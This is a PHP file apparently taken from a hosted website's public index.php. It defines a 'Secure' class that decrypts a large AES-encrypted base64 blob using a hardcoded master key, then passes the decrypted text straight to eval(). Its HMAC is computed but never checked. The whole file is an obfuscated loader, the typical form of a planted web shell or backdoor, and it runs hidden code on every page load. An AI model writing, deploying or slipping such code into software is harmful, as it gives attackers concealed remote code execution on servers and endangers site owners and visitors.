Current File : /home/aventura/public_html/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);